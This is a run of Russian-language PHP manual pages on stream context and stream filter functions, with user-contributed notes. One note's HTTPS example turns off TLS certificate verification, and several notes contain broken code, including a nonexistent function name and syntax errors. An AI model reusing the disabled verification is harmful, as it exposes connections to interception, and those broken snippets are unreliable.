?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт контекст потока

  • « stream_bucket_prepend
  • stream_context_get_default »
  • PHP Manual
  • Функции для работы с потоками
  • Создаёт контекст потока

stream_context_create

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_create — Создаёт контекст потока

Описание

stream_context_create(?array $options = null, ?array $params = null): resource

Создаёт и возвращает контекст потока с опциями, указанными в массиве options.

Список параметров

options

Должен быть ассоциативным массивом в формате $arr['wrapper']['option'] = $value или null. Список доступных обёрток и опций смотрите в разделе Опции контекста

Значение по умолчанию - null.

params

Должен быть ассоциативным массивом в формате $arr['parameter'] = $value или null. Обратитесь к разделу Опции контекста за списком стандартных параметров потока.

Возвращаемые значения

Ресурс (resource) контекста потока.

Список изменений

Версия | Описание
8.0.0 | Параметры options и params теперь допускают значение null.

Примеры

Пример #1 Использование stream_context_create()

<?php
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);

/* Отправляет http-запрос на домен www.example.com
с дополнительными заголовкам, показанными выше */
$fp = fopen('http://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>

Смотрите также

  • stream_context_set_option() - Устанавливает опцию для потока/обёртки/контекста
  • Список поддерживаемых обёрток (Поддерживаемые протоколы и обёртки)
  • Опции контекста (Контекстные опции и параметры)

User Contributed Notes

LANGE.LUDO 18-Aug-2021 05:41
To open HTTPS stream I could only work it out using both HTTP and SSL context options...

Thus something like:
<?php
$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array(
    'ssl' => array(
        'verify_peer' => false,
        'verify_peername' => false
        // Ideally use instead
        // 'cafile' => 'path Certificate Authority file on local filesystem'
    ),
    'http' => array(
        'method' => 'POST',
        'header' =>
            'Content-type: application/x-www-form-urlencoded'."\r\n".
            ''
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('https://example.com/submit.php', false, $context);

// A good friend when it fails:
var_dump($http_response_header);

?>
Andi 27-May-2015 01:41
Don't try to re-use the ressource returned by stream_context_create. It seems not to work when connecting to different domains using https.
Ben J 08-Jan-2013 03:28
I spent a good five hours trying to figure this out, so hopefully it will save someone else some time.

When you are trying to download a file via ftp through an HTTP proxy note that the following will not be enough:
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

Your proxy will respond that authentication is required. You may scratch your head and think "but I'm providing authentication!"

The issue is that the 'header' value is only applicable to http connections. So to authenticate on a proxy, you first have to pull a file from HTTP, before the context is valid for using on FTP.
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    ),
    'http' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("http://www.example.com",false,$context);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

It's a bit roundabout, but it works. Note that the 'header' val in the ftp array is redundant, but I kept it in anyway.
louis dot huppenbauer at gmail dot com 25-Sep-2012 06:04
When using the https protocol you'll have to make sure to set the right context options to use the full "power" of the ssl/tls encryption.

<?php
$url = 'https://secure.example.com/test/1';
$contextOptions = array(
    'ssl' => array(
        'verify_peer'   => true,
        'cafile'        => __DIR__ . '/cacert.pem',
        'verify_depth'  => 5,
        'CN_match'      => 'secure.example.com'
    )
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
?>

More information about those context options can be found at http://php.net/manual/en/context.ssl.php
Anonymous 22-Oct-2010 10:45
If you are trying to set a custom http header on php 5.2.x, try this:

<?php
// build header and set it the usual way
$authenticationHeader = $headername . ': ' . $headervalue;
$opts = array(
    'http' => array(
        'header'  => $authenticationHeader
    )
);
// workaround for php bug where http headers don't get sent in php 5.2
if(version_compare(PHP_VERSION, '5.3.0') == -1){
    ini_set('user_agent', 'PHP-SOAP/' . PHP_VERSION . "\r\n" . $authenticationHeader);
}

$context  = stream_context_create($opts);

// now use context for soap call or whatever...
?>

this is the only option that worked for me.
contact (at) thepointsolution.com 12-Aug-2010 05:29
I big NOTE that i hope will help some one. Something that is not mentioned in the documentation, is that when php is compiled --with-curlwrappers,

So, instead of:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);
?>

You would setup the header this way:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>array("Accept-language: en",
                           "Cookie: foo=bar",
                           "Custom-Header: value")
  )
);

$context = stream_context_create($opts);
?>

This will work.
mathieu dot laurent at gmail dot com 30-Jul-2009 06:15
Connection via Proxy

<?php

$opts = array('http' => array('proxy' => 'tcp://127.0.0.1:8080', 'request_fulluri' => true));
$context = stream_context_create($opts);

$data = file_get_contents('http://www.php.net', false, $context);

echo $data;

?>
Brian Gottier 16-May-2009 12:13
In some cases, set a header option as an array, and not a string, depending on server configuration.

<?php
$opts = array(
  'http'=> array(
    'method'=>   "GET",
    'header'=>    array( "Cookie: foo="bar"l ),
    'user_agent'=>    $_SERVER['HTTP_USER_AGENT']
  )
);
?>
rlintern at gmail dot com 20-Feb-2009 09:56
I found the following code worked for me for POSTing some binary data to a remote server. I am putting it here since I could not find a quick solution to this by 'googling' or looking through this documentation.

Disclaimer:  I have no idea if this a 'good' solution, since I'm new to PHP, but it may just suit your needs as it did mine.  I am assuming bad things will happen with very large files since the entire file is read into $fileContents.

I am using PHP 5.2.8.

   $fileHandle = fopen("someImage.jpg", "rb");
   $fileContents = stream_get_contents($fileHandle);
   fclose($fileHandle);

   $params = array(
      'http' => array
      (
          'method' => 'POST',
          'header'=>"Content-Type: multipart/form-data\r\n",
          'content' => $fileContents
      )
   );
   $url = "http://somesite.somecompany.com?someParam=someValue";
   $ctx = stream_context_create($params);
   $fp = fopen($url, 'rb', false, $ctx);

   $response = stream_get_contents($fp);
davep at atomicdroplet dot com 17-May-2007 04:02
In addition to the context options mentioned above (appendix N), lower down context options for sockets can be found in appendix P - http://www.php.net/manual/en/transports.php
jrubenstein at gmail dot com 27-Apr-2007 09:36
Something to keep in mind when creating SSL streams (using https://):

<?php
$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>

One would think - the proper way to create a stream options array, would be as follows:

<?php
$context_options = array (
        'https' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

THAT IS THE WRONG WAY!!!
Take notice to the 3rd line: 'https' => array (

The CORRECT way, is as follows:

<?php
$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

Notice, the NEW 3rd line: 'http' => array (

Now - keep this in mind - I spent several hours trying to trouble shoot my issue, when I finally stumbled upon this non-documented issue.

The complete code to post to a secure page is as follows:

<?php
$data = array ('foo' => 'bar', 'bar' => 'baz');
$data = http_build_query($data);

$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );

$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>
chris dot vigelius at gmx dot net 11-Apr-2007 05:34
It seems that the authorization example given below by"php at charlesconsulting dot com" does NOT work with PHP 5.2.1, since the 'header' option will be simply ignored if it is not an array (but a string).

The following works:
$url = 'http://protectedstuff.com';
$auth = base64_encode('user:password');
$header = array("Authorization: Basic $auth");
$opts = array( 'http' => array ('method'=>'GET',
                                           'header'=>$header));
$ctx = stream_context_create($opts);
file_get_contents($url,false,$ctx);

See also http://bugs.php.net/bug.php?id=41051
php at charlesconsulting dot com 13-Jan-2007 07:14
Here's an example of retrieving a page which requests a username and password using the basic authorization scheme.  This calls the w3.org web page validator for a password protected page.
//$fileurl contains page to validate
$validateurl="http://validator.w3.org/check?uri=$fileurl";

$cred = sprintf('Authorization: Basic %s',
    base64_encode('username:password') );
$opts = array(
    'http'=>array(
    'method'=>'GET',
    'header'=>$cred)
);
$ctx = stream_context_create($opts);

$validate=file_get_contents($validateurl,false,$ctx);
sp0n9e at gmail dot com 28-Dec-2006 10:18
Here's a very simple way to do posts easily without need of cURL or writing an http request by hand using the tcp:// wrapper.  I like using contexts just because of their ubiquity and the lack of an optional library such as cURL (though one of the more popular libraries).

<?php

$options = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>
      "Accept-language: en\r\n".
      "Content-type: application/x-www-form-urlencoded\r\n",
    'content'=>http_build_query(array('foo'=>'bar'))
));

$context = stream_context_create($options);

fopen('http://www.example.com/',false,$context);

?>
net_navard at yahoo dot com 09-Dec-2005 10:38
Hi,you can create an array of parameters(what it's called a stream context),which can be transmitted each time you read or write a stream through a socket.In the below example:

$opts =array('http'=>arra('method'=>"GET",
'header'=>"Accept-language:en\r\n"."Cookie: foo=bar\r\n");

What you're actually doing is create a set of parameters(the protocol to be used,the request method,additional http headers and a cookie) which will be used each time you open a socket connection to request www.example.com.This saves a lot of time if you want to use these parameters (called a stream context) whenever you include them when making a request to www.example.com,instead of having to specify them over and over again.
Using the previous example,say you want to create a stream context,which sends a "Content-Type" http header and utilize it when making a request to www.example.com.Take a look:

$opts = array('http'=>array('method'=>"GET",
'header'=>"Content-Type: text/xml; CHARSET=Windows-1251");

$context = stream_context_create($opts);
$fp = fopen('http://www.example.com','r',false,$context);
fpassthru($fp);
fclose($fp);

Now,when you make a request to www.example.com,the above http header will be included within the socket and transmitted to the server.Best of luck for you friends,Hossein


Получает контекст потока по умолчанию

  • « stream_context_create
  • stream_context_get_options »
  • PHP Manual
  • Функции для работы с потоками
  • Получает контекст потока по умолчанию

stream_context_get_default

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_context_get_default — Получает контекст потока по умолчанию

Описание

stream_context_get_default(?array $options = null): resource

Возвращает контекст потока по умолчанию, который используется в любых файловых операциях (fopen(), file_get_contents() и т.д.), вызванных без параметра контекста. Опции для контекста по умолчанию могут быть опционально указаны с помощью этой функцией используя тот же синтаксис, что и для stream_context_create().

Список параметров

options
options должен быть ассоциативным массивом ассоциативных массивов в формате $arr['wrapper']['option'] = $value или null.

Возвращаемые значения

Ресурс (resource) контекста потока.

Список изменений

Версия | Описание
8.0.0 | Параметр options теперь допускает значение null.

Примеры

Пример #1 Пример использования stream_context_get_default()

<?php
$default_opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar",
'proxy'=>"tcp://10.54.1.39:8000"
)
);

$alternate_opts = array(
'http'=>array(
'method'=>"POST",
'header'=>"Content-type: application/x-www-form-urlencoded\r\n" .
"Content-length: " . strlen("baz=bomb"),
'content'=>"baz=bomb"
)
);

$default = stream_context_get_default($default_opts);
$alternate = stream_context_create($alternate_opts);

/* Отправляет обычный GET-запрос на прокси-сервер 10.54.1.39
* Для www.example.com используются опции контекста, указанные в $default_opts
*/
readfile('http://www.example.com');

/* Отправляет POST-запрос напрямую к www.example.com
* Используемые опции контекста определены в $alternate_opts
*/
readfile('http://www.example.com', false, $alternate);

?>

Смотрите также

  • stream_context_create() - Создаёт контекст потока
  • stream_context_set_default() - Установить контекст потока по умолчанию
  • Список поддерживаемых обёрток с опциями контекста (Поддерживаемые протоколы и обёртки).

User Contributed Notes

RQuadling at GMail dot com 02-Jan-2007 01:02
If you are using stream_context_get_default() and are still finding that some functions do not work, make sure that they are not based upon the libxml functions (DOM, SimpleXML and XSLT). These require their own context.

You can easily set them using the following code ...

<?php
// Define the default, system-wide context.
$r_default_context = stream_context_get_default
    (
    array
        (
        'http' => array
            ( // All HTTP requests are passed through the local NTLM proxy server on port 8080.
            'proxy' => 'tcp://127.0.0.1:8080',
            'request_fulluri' => True,
            ),
        )
    );

// Though we said system wide, some extensions need a little coaxing.
libxml_set_streams_context($r_default_context);
?>


Получает опции для потока/обёртки/контекста

  • « stream_context_get_default
  • stream_context_get_params »
  • PHP Manual
  • Функции для работы с потоками
  • Получает опции для потока/обёртки/контекста

stream_context_get_options

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_get_options — Получает опции для потока/обёртки/контекста

Описание

stream_context_get_options(resource $stream_or_context): array

Возвращает массив опций в указанном потоке или контексте.

Список параметров

stream_or_context

Поток (stream) или контекст (context), у которого будут получены настройки

Возвращаемые значения

Возвращает ассоциативный массив с опциями.

Примеры

Пример #1 Пример использования stream_context_get_options()

<?php
$params = array("method" => "POST");

stream_context_set_default(array("http" => $params));

var_dump(stream_context_get_options(stream_context_get_default()));

?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  ["http"]=>
  array(1) {
    ["method"]=>
    string(4) "POST"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Получает параметры из контекста

  • « stream_context_get_options
  • stream_context_set_default »
  • PHP Manual
  • Функции для работы с потоками
  • Получает параметры из контекста

stream_context_get_params

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_context_get_params — Получает параметры из контекста

Описание

stream_context_get_params(resource $context): array

Возвращает информацию о параметрах и опциях из потока или контекста.

Список параметров

context

Ресурс (resource) потока или ресурс (resource) контекста

Возвращаемые значения

Возвращает ассоциативный массив, содержащий все опции и параметры контекста.

Примеры

Пример #1 Пример использования stream_context_get_params()

Пример простого использования

<?php
$ctx = stream_context_create();
$params = array("notification" => "stream_notification_callback");
stream_context_set_params($ctx, $params);

var_dump(stream_context_get_params($ctx));
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["notification"]=>
  string(28) "stream_notification_callback"
  ["options"]=>
  array(0) {
  }
}

Смотрите также

  • stream_context_set_option() - Устанавливает опцию для потока/обёртки/контекста
  • stream_context_set_params() - Устанавливает параметры для потока/обёртки/контекста

User Contributed Notes

m dot staas at goowy dot com 30-Nov-2015 01:35
Note that if the resource parameter is invalid the function will return a boolean with value false.

The code:
$r = null
$cert = stream_context_get_params($r);
var_dump($cert);

will return:
bool(false)


Установить контекст потока по умолчанию

  • « stream_context_get_params
  • stream_context_set_option »
  • PHP Manual
  • Функции для работы с потоками
  • Установить контекст потока по умолчанию

stream_context_set_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_context_set_default — Установить контекст потока по умолчанию

Описание

stream_context_set_default(array $options): resource

Установить контекст потока по умолчанию, который будет использоваться всякий раз, когда файловые операции (fopen(), file_get_contents() и т.д.) вызываются без параметра контекста. Используется тот же синтаксис, что и в stream_context_create().

Список параметров

options

Опции для установки для контекста по умолчанию.

Замечание:

Параметр options должен быть ассоциативным массивом ассоциативных массивов в формате $arr['wrapper']['option'] = $value.

Возвращаемые значения

Возвращает контекст потока по умолчанию.

Примеры

Пример #1 stream_context_set_default() example

<?php
$default_opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar",
'proxy'=>"tcp://10.54.1.39:8000"
)
);

$default = stream_context_set_default($default_opts);

/* Отправляет обычный GET-запрос к прокси-серверу по адресу 10.54.1.39
* Для www.example.com используются опции контекста, указанные в $default_opts
*/
readfile('http://www.example.com');
?>

Смотрите также

  • stream_context_create() - Создаёт контекст потока
  • stream_context_get_default() - Получает контекст потока по умолчанию
  • Listing of supported wrappers with context options (Поддерживаемые протоколы и обёртки).

User Contributed Notes

Mahmoud Saeed 11-Oct-2021 04:49
It's worth mentioning that passing an empty array will NOT reset default options.

<?php
stream_context_set_default(array()); // Does nothing.
?>


Устанавливает опцию для потока/обёртки/контекста

  • « stream_context_set_default
  • stream_context_set_options »
  • PHP Manual
  • Функции для работы с потоками
  • Устанавливает опцию для потока/обёртки/контекста

stream_context_set_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_set_option — Устанавливает опцию для потока/обёртки/контекста

Описание

stream_context_set_option(
resource $stream_or_context,
string $wrapper,
string $option,
mixed $value
): bool
stream_context_set_option(resource $stream_or_context, array $options): bool

Устанавливает опцию в указанном контексте. Значение value устанавливается в option для wrapper

Список параметров

stream_or_context

Поток или ресурс контекста, к которому будут применены опции.

wrapper

Имя обёртки (может отличаться от протокола). Смотрите опции и параметры контекста для получения списка параметров потока.

option

Имя опции.

value

Значение опции.

options

Опции, которые будут применены к stream_or_context.

Замечание:

Параметр options должен быть ассоциативным массивом ассоциативных массивов в формате $arr['wrapper']['option'] = $value.

Обратитесь к разделу опции и параметры контекста, чтобы получить список опций потока.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Sets options on the specified context

  • « stream_context_set_option
  • stream_context_set_params »
  • PHP Manual
  • Функции для работы с потоками
  • Sets options on the specified context

stream_context_set_options

(PHP 8 >= 8.3.0)

stream_context_set_options — Sets options on the specified context

Описание

stream_context_set_options(resource $context, array $options): bool

Sets options on the specified context.

Список параметров

context

The stream or context resource to apply the options to.

options

The options to set for context.

Замечание:

options must be an associative array of associative arrays in the format $array['wrapper']['option'] = $value.

Refer to context options and parameters for a listing of stream options.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 stream_context_set_options() example

<?php

$context = stream_context_create();

$options = [
'http' => [
'protocol_version' => 1.1,
'user_agent' => 'PHPT Agent',
],
];

stream_context_set_options($context, $options);
var_dump(stream_context_get_options($context));
?>

Результат выполнения данного примера:

array(1) {
  ["http"]=>
  array(2) {
    ["protocol_version"]=>
    float(1.1)
    ["user_agent"]=>
    string(10) "PHPT Agent"
  }
}

Смотрите также

  • stream_context_set_option() - Устанавливает опцию для потока/обёртки/контекста

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметры для потока/обёртки/контекста

  • « stream_context_set_options
  • stream_copy_to_stream »
  • PHP Manual
  • Функции для работы с потоками
  • Устанавливает параметры для потока/обёртки/контекста

stream_context_set_params

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_set_params — Устанавливает параметры для потока/обёртки/контекста

Описание

stream_context_set_params(resource $context, array $params): bool

Устанавливает параметры для указанного контекста.

Список параметров

context

Поток или контекст, к которому будут применены параметры.

params

Ассоциативный массив параметров, которые будут установлены в следующем формате: $params['paramname'] = "paramvalue";.

Поддерживаемые параметры
Параметр | Назначение
notification | Название определённой пользователем callback-функции, которая будет вызвана, когда потоком посылается уведомление. Поддерживается только для обёрток потоков http:// и ftp://.
options | Массив опций и параметров контекста.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • stream_notification_callback() - Callback-функция для параметра контекста notification

User Contributed Notes

There are no user contributed notes for this page.


Копирует данные из одного потока в другой

  • « stream_context_set_params
  • stream_filter_append »
  • PHP Manual
  • Функции для работы с потоками
  • Копирует данные из одного потока в другой

stream_copy_to_stream

(PHP 5, PHP 7, PHP 8)

stream_copy_to_stream — Копирует данные из одного потока в другой

Описание

stream_copy_to_stream(
resource $from,
resource $to,
?int $length = null,
int $offset = 0
): int|false

Делает копию до length байт данных от текущей позиции (или от позиции offset, если указана) потока from в поток to. Если length равен null, будет скопировано всё оставшееся содержимое из from.

Список параметров

from

Исходный поток.

to

Поток назначения.

length

Максимальное количество байт для копирования. По умолчанию копируются все оставшиеся байты.

offset

Смещение, с которого будут копироваться данные.

Возвращаемые значения

Возвращает общее количество скопированных байт или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр length теперь допускает значение null.

Примеры

Пример #1 Пример использования stream_copy_to_stream()

<?php
$src = fopen('http://www.example.com', 'r');
$dest1 = fopen('first1k.txt', 'w');
$dest2 = fopen('remainder.txt', 'w');

echo stream_copy_to_stream($src, $dest1, 1024) . " байт скопировано в first1k.txt\n";
echo stream_copy_to_stream($src, $dest2) . " байт скопировано в remainder.txt\n";

?>

Смотрите также

  • copy() - Копирует файл

User Contributed Notes

divinity76 at gmail dot com 29-Nov-2018 10:54
note that this function does not actually use sendfile() on linux systems (at least not in PHP 7.2.12)
felix dot nensa at gmail dot com 26-May-2010 04:57
As stream_copy_to_stream() seems to be quite a memory hog (at least in PHP 5.1.6 64-bit) it may be way more efficient just to copy streams with this simple PHP alternative:

<?php

    function pipe_streams($in, $out)
    {
        $size = 0;
        while (!feof($in)) $size += fwrite($out,fread($in,8192));
        return $size;
    }

?>
none at noone dot com 15-Jun-2007 04:27
stream_copy_to_stream almost copies a stream...

$objInputStream = fopen("php://input", "rb");
$objTempStream = fopen("php://temp", "w+b");
stream_copy_to_stream($objInputStream, $objTempStream);

That code will copy a stream but it will also move the stream pointers to EOF.  This is fine if you plan on rewinding the temp stream but good luck rewinding the input stream.

rewind($objTempStream);
rewind($objInputStream);

So as you can see this is stream copy or stream move depending on what kind of stream you are working with, and because there are no peaking functions your effed if you need to read from an input stream in multiple classes that are unrelated.


Прикрепить фильтр к потоку

  • « stream_copy_to_stream
  • stream_filter_prepend »
  • PHP Manual
  • Функции для работы с потоками
  • Прикрепить фильтр к потоку

stream_filter_append

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_filter_append — Прикрепить фильтр к потоку

Описание

stream_filter_append(
resource $stream,
string $filtername,
int $read_write = ?,
mixed $params = ?
): resource

Добавляет filtername в список фильтров, прикреплённых к stream.

Список параметров

stream

Целевой поток.

filtername

Название фильтра.

read_write

По умолчанию stream_filter_append() будет прикреплять фильтр к цепочке фильтров чтения, если файл был открыт для чтения (т. е. режим файла: r, и/или +). Фильтр также будет прикреплён к цепочке фильтров записи, если файл был открыт для записи (т. е. режим файла: w, a, и/или +). Константы STREAM_FILTER_READ, STREAM_FILTER_WRITE и/или STREAM_FILTER_ALL также могут быть переданы в параметре read_write, чтобы переопределить это поведение.

params

Этот фильтр будет добавлен с указанными params к концу списка и, таким образом, будет вызван последним в списке потоковых операций. Чтобы добавить фильтр в начало списка, используйте stream_filter_prepend().

Возвращаемые значения

Возвращает ресурс в случае успешного выполнения или false при неудаче. Ресурс должен быть использован для ссылки на этот экземпляр фильтра во время вызова stream_filter_remove().

Вернёт false, если stream не является ресурсом или если filtername не найден.

Примеры

Пример #1 Контроль применения фильтров

<?php
/* Открываем тестовый файл для чтения и записи */
$fp = fopen('test.txt', 'w+');

/* Прикрепляем фильтр ROT13 к
* цепочке фильтров записи, но не к
* цепочке фильтров чтения */
stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);

/* Запишем простую строку в файл
* она будет преобразована при помощи ROT13
* на выходе */
fwrite($fp, "This is a test\n");

/* Назад к началу файла */
rewind($fp);

/* Прочитаем содержимое файла.
* Если фильтр также был бы прикреплён к
* цепочке фильтров чтения, мы бы увидели
* преобразованный при помощи ROT13 текст в исходном состоянии */
fpassthru($fp);

fclose($fp);

/* Ожидаемый вывод
---------------

Guvf vf n grfg

*/
?>

Примечания

Замечание: При использовании пользовательских фильтров
Сначала должна быть вызвана функция stream_filter_register() для того, чтобы зарегистрировать желаемый пользовательский фильтр на имя filtername.

Замечание: Потоковые данные читаются из ресурсов (как локальных, так удалённых) по кускам, и любые невостребованные данные сохраняются во внутренних буферах. Когда новый фильтр добавляется в конец потока, то данные во внутренних буферах обрабатываются через новый фильтр. Это отличается от поведения функции stream_filter_prepend().

Замечание: Когда фильтр добавляется для чтения и записи, создаются два экземпляра фильтра. Функция stream_filter_append() должна быть вызвана дважды с STREAM_FILTER_READ и STREAM_FILTER_WRITE чтобы получить оба ресурса фильтра.

Смотрите также

  • stream_filter_register() - Регистрирует потоковый фильтр, определённый пользователем
  • stream_filter_prepend() - Прикрепляет фильтр к потоку
  • stream_get_filters() - Получить список зарегистрированных фильтров

User Contributed Notes

TingSong 15-Jan-2023 10:49
To decompress a gzipped stream:

<?php
$stream = $s3_client->getReadStream('somefile.csv.gz');
stream_filter_append($stream, 'zlib.inflate', STREAM_FILTER_READ, ['window' => 15+16]);

// read the decompressed line directly
$line = fgets($stream);
$columns = str_getcsv($line);

// process the data in columns
?>

As the doc of zlib https://www.zlib.net/manual.html#Advanced

The 'window' parameter between 8 and 15 specified the window size from 2? to 2?? bytes. It can be added by 16 for wrapping with gzip header and trailer instead of zlib wrapper.

And, window could be -8..-15 for unwrapping RAW deflate data.
Sbastien 09-Feb-2022 10:10
Available internal filters are listed here :

https://www.php.net/manual/filters.php
Dan J 11-Jan-2016 07:23
Note that stream filters applied to STDOUT are not called when outputting via echo or print.

This is easily demonstrated with the standard ROT13 filter:
<?php
stream_filter_append( STDOUT, "string.rot13" );

print "Hello PHP\n";
// Prints "Hello PHP"

fprintf( STDOUT, "Hello PHP\n" );
// Prints "Uryyb CUC"
?>

If you want to filter STDOUT, you may have better luck with an output buffering callback added via ob_start:
http://php.net/manual/en/function.ob-start.php

At the time of this writing, there is an open PHP feature request to support echo and print for stream filters:
https://bugs.php.net/bug.php?id=30583
dlvoy 23-Jul-2008 12:20
While using compression filters on a large set of files during one script invocation i've got
        Fatal error: Allowed memory size of xxx bytes exhausted
even when my max memory limit settings was insane high (128MB)

Workaround is to remember to remove filter after work done with stream_filter_remove:

<?php
foreach($lot_of_files as $filename)
{
    $fp = fopen($filename, 'rb');
    $filter_params = array('level' => 2, 'window' => 15, $memory => 6);
    $s_filter = stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_READ, $filter_params);
    // here stream-operating code

    stream_filter_remove($s_filter);

    fclose($fp);
}
?>
net_navard at yahoo dot com 12-Dec-2005 10:47
Hello firends

The difference betweem adding a stream filter first or last in the filte list in only the order they will be applied to streams.

For example, if you're reading data from a file, and a given filter is placed in first place with stream_filter_prepend()the data will be processed by that filter first.

This example reads out file data and the filter is applied at the beginning of the reading operation:

<?php
/* Open a test file for reading */
$fp = fopen("test.txt", "r");
/* Apply the ROT13 filter to the
 * read filter chain, but not the
 * write filter chain */
stream_filter_prepend($fp, "string.rot13",
STREAM_FILTER_READ);
// read file data
$contents=fread($fp,1024);
// file data is first filtered and stored in $contents
echo $contents;
fclose($fp);
?>

On the other hand, if stream_filter_append() is used, then the filter will be applied at the end of the data operation. The thing about this is only the order filters are applied to streams. Back to the example, it's not the same thing removing new lines from file data and then counting the number of characters, than performing the inverse process. In this case, the order that filters are applied to stream is important.

This example writes a test string to a file. The filter is applied at the end of the writing operation:

<?php
/* Open a test file for writing */
$fp = fopen("test.txt", "w+");
/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13",
STREAM_FILTER_WRITE);
/* Write a simple string to the file
 * it will be ROT13 transformed at the end of the
stream operation
 * way out */
fwrite($fp, "This is a test\n"); // string data is
first written, then ROT13 tranformed and lastly
written to file
/* Back up to the beginning of the file */
rewind($fp);
$contents=fread($fp,512);
fclose($fp);
echo $contents;
?>

In the first case, data is transformed at the end of the writing operation, while in the second one, data is first filtered and then stored in $contents.

                          With Regards
                              Hossein


Прикрепляет фильтр к потоку

  • « stream_filter_append
  • stream_filter_register »
  • PHP Manual
  • Функции для работы с потоками
  • Прикрепляет фильтр к потоку

stream_filter_prepend

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_filter_prepend — Прикрепляет фильтр к потоку

Описание

stream_filter_prepend(
resource $stream,
string $filtername,
int $read_write = ?,
mixed $params = ?
): resource

Добавляет filtername к списку фильтров, прикреплённых к потоку stream.

Список параметров

stream

Целевой поток.

filtername

Название потока.

read_write

По умолчанию, функция stream_filter_prepend() будет прикреплять фильтр к цепочке фильтров чтения, если файл был открыт для чтения (т.е. режим файла: r, и/или +). Фильтр также будет прикреплён к цепочке фильтров записи, если файл был открыт для записи (т.е. режим файла: w, a, и/или +). Константы STREAM_FILTER_READ, STREAM_FILTER_WRITE и/или STREAM_FILTER_ALL также могут быть переданы в параметре read_write, чтобы переопределить это поведение. Смотрите функцию stream_filter_append() для примера использования этого параметра.

params

Этот фильтр будет добавлен с указанными параметрами params к началу списка и, таким образом, будет вызван первым во время потоковых операций. Для того, чтобы добавить фильтр к концу списка, используйте stream_filter_append().

Возвращаемые значения

Возвращает ресурс в случае успешного выполнения или false в случае возникновения ошибки. Ресурс должен быть использован для ссылки на этот экземпляр фильтра во время вызова stream_filter_remove().

Вернёт false, если stream не является ресурсом или если filtername не найден.

Примечания

Замечание: При использовании пользовательских фильтров
Сначала должна быть вызвана функция stream_filter_register() для того, чтобы зарегистрировать желаемый пользовательский фильтр на имя filtername.

Замечание: Потоковые данные читаются из ресурсов (как локальных, так удалённых) по кускам, и любые невостребованные данные сохраняются во внутренних буферах. Когда новый фильтр добавляется в начало потока, данные во внутренних буферах, который уже были обработаны через другие фильтры, не будут обработаны через новый фильтр. Это отличается от поведения функции stream_filter_append().

Замечание: Когда фильтр добавляется для чтения и записи, создаются два экземпляра фильтра. Функция stream_filter_append() должна быть вызвана дважды с STREAM_FILTER_READ и STREAM_FILTER_WRITE чтобы получить оба ресурса фильтра.

Смотрите также

  • stream_filter_register() - Регистрирует потоковый фильтр, определённый пользователем
  • stream_filter_append() - Прикрепить фильтр к потоку

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует потоковый фильтр, определённый пользователем

  • « stream_filter_prepend
  • stream_filter_remove »
  • PHP Manual
